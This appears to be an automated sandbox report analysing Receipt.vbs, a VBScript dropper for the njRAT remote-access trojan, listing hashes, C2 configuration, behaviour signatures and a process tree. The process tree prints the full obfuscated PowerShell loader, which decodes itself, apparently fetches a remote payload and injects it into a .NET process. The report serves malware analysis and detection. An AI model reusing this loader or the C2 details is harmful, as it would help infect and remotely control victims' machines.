Overview

overview

10

Static

static

Receipt.vbs

windows7_x64

10

Receipt.vbs

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    164s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    31-08-2021 20:49

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Report Analysis Logs

General

  • Target

    Receipt.vbs

  • Size

    3KB

  • MD5

    7847bcdabe1d416d86d06d3c81a11052

  • SHA1

    abaff8024bd174d05edba2c32eb2aa5c0c7071c9

  • SHA256

    6e20ded2b6c78190b5c281cd6d5092cc7336aeab810b98155e118db7801744f1

  • SHA512

    ec48efbf28797aed093951c1d4d885aec8ca186e585922fade445b15b4691c7eb8026338d2f873b33e671652a2301261eb6af3aa55d8b8354a089a00a664676a

Score
10/10
njratbosstrojan

Malware Config

Extracted

Family

njrat

Version

v4.0

Botnet

Boss

C2

103.147.184.73:7103

Mutex

Windows

Attributes
  • reg_key

    Windows

  • splitter

    |-F-|

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Receipt.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SOS='2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-20-H-3D-H-20-H-27-H-68-H-7@-H-7@-H-70-H-73-H-3A-H-2F-H-2F-H-7@-H-72-H-61-H-6E-H-73-H-66-H-65-H-72-H-2E-H-73-H-68-H-2F-H-67-H-65-H-7@-H-2F-H-62-H-6D-H-@2-H-6E-H-@2-H-31-H-2F-H-66-H-69-H-78-H-2E-H-7@-H-78-H-7@-H-27-H-3B-H-0D-H-0A-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-@5-H-@6-H-@7-H-@8-H-@A-H-20-H-3D-H-20-H-27-H-6E-H-@5-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-@5-H-62-H-@3-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-5@-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-7@-H-2E-H-57-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-27-H-2C-H-27-H-6C-H-@9-H-@5-H-@E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-20-H-3D-H-20-H-27-H-@@-H-@F-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-61-H-@@-H-53-H-5@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-27-H-2C-H-27-H-57-H-6E-H-@C-H-6F-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-72-H-@9-H-6E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-3D-H-27-H-@9-H-60-H-@5-H-58-H-28-H-6E-H-60-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-60-H-63-H-60-H-5@-H-20-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-29-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-65-H-60-H-57-H-60-H-2D-H-@F-H-62-H-6A-H-60-H-@5-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-@5-H-@6-H-@7-H-@8-H-@A-H-29-H-2E-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-28-H-2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-27-H-29-H-3B-H-0D-H-0A-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-28-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-2D-H-@A-H-6F-H-69-H-6E-H-20-H-27-H-27-H-29-H-7C-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-3B-H-'.Replace('@','4');Invoke-Expression (-join ($SOS -split '-H-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        3⤵
          PID:1844
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1444

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • memory/1388-114-0x0000000000000000-mapping.dmp
      Download
    • memory/1388-120-0x0000025371100000-0x0000025371101000-memory.dmp
      Filesize

      4KB

      Download
    • memory/1388-125-0x00000253711B0000-0x00000253711B1000-memory.dmp
      Filesize

      4KB

      Download
    • memory/1388-126-0x000002536EF10000-0x000002536EF12000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1388-127-0x000002536EF13000-0x000002536EF15000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1388-128-0x000002536EF16000-0x000002536EF18000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1388-143-0x000002536EF18000-0x000002536EF19000-memory.dmp
      Filesize

      4KB

      Download
    • memory/1388-155-0x0000025371250000-0x0000025371253000-memory.dmp
      Filesize

      12KB

      Download
    • memory/1444-158-0x0000000000400000-0x000000000040E000-memory.dmp
      Filesize

      56KB

      Download
    • memory/1444-159-0x000000000040836E-mapping.dmp
      Download
    • memory/1444-165-0x00000000056F0000-0x00000000056F1000-memory.dmp
      Filesize

      4KB

      Download
    • memory/1444-166-0x00000000062C0000-0x00000000062C1000-memory.dmp
      Filesize

      4KB

      Download
    • memory/1444-167-0x0000000005DB0000-0x0000000005DB1000-memory.dmp
      Filesize

      4KB

      Download
    • memory/1444-168-0x0000000005DC0000-0x0000000005DC1000-memory.dmp
      Filesize

      4KB

      Download
    • memory/1444-169-0x0000000005D70000-0x0000000005D71000-memory.dmp
      Filesize

      4KB

      Download